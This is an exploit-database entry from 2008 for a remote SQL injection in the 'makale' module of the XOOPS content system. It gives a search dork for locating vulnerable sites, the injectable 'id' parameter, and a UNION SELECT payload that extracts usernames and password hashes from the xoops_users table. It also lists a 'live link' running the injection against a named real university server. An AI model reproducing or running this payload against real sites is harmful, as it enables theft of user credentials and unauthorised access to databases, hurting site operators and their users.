XOOPS Module makale Remote SQL Injection Vulnerability

2008-10-20T00:00:00
ID 1337DAY-ID-3925
Type zdt
Reporter EcHoLL
Modified 2008-10-20T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ======================================================
XOOPS Module makale Remote SQL Injection Vulnerability
======================================================



##########################################
#
# XOOPS Module:  makale
#
#
##########################################
#
##AUTHOR : EcHoLL
####HOME : http://www.warezturk.org
###########################################
#
# DORKS 1 : dork: /modules/makale/
###########################################
 
target: scriptpage.com/modules/makale/makale.php?id= [sql Code]
 
Sql code: 15+UNION+SELECT+0,1,2,3,uname,5,pass,7,8,9,10,11,12,13,14,15,16,17,18,19+from+xoops_users--
 
live link: http://stu.inonu.edu.tr/~usit/modules/makale/makale.php?id=10+UNION+SELECT+0,1,2,3,database(),5,user(),7,8,9,10,11,12,13,14,15,16,17,18,19--



#  0day.today [2016-04-20]  #